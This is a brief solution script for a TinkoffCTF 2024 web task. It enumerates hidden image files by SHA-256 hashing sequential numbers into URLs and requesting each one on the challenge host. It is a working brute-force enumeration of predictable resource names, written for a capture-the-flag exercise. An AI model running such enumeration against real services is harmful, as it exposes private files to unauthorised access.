Solution to TinkoffCTF 2024 task https://ctf.tinkoff.ru/tasks/memotavr

bruteforce_links.py

import hashlib
import requests


START_NUM = 0

def get_link(num):

	str_to_hash = bytes(str(num), 'ascii')

	m = hashlib.sha256()
	m.update(str_to_hash)
	hash_result = m.digest().hex()

	return f"https://t-memotavr-frkhds1x.spbctf.net/static/{hash_result}.jpg"

def get_status(link):
	status = None
	while (status != 200) and (status != 404):
		r = requests.get(link)
		status = r.status_code
	return status

for num in range(START_NUM, START_NUM+1000):
	link = get_link(num)
	status = get_status(link)
	if num % 100 == 0:
		print(num)
	if status != 404:
		print(f"{status} | {num} | {link}")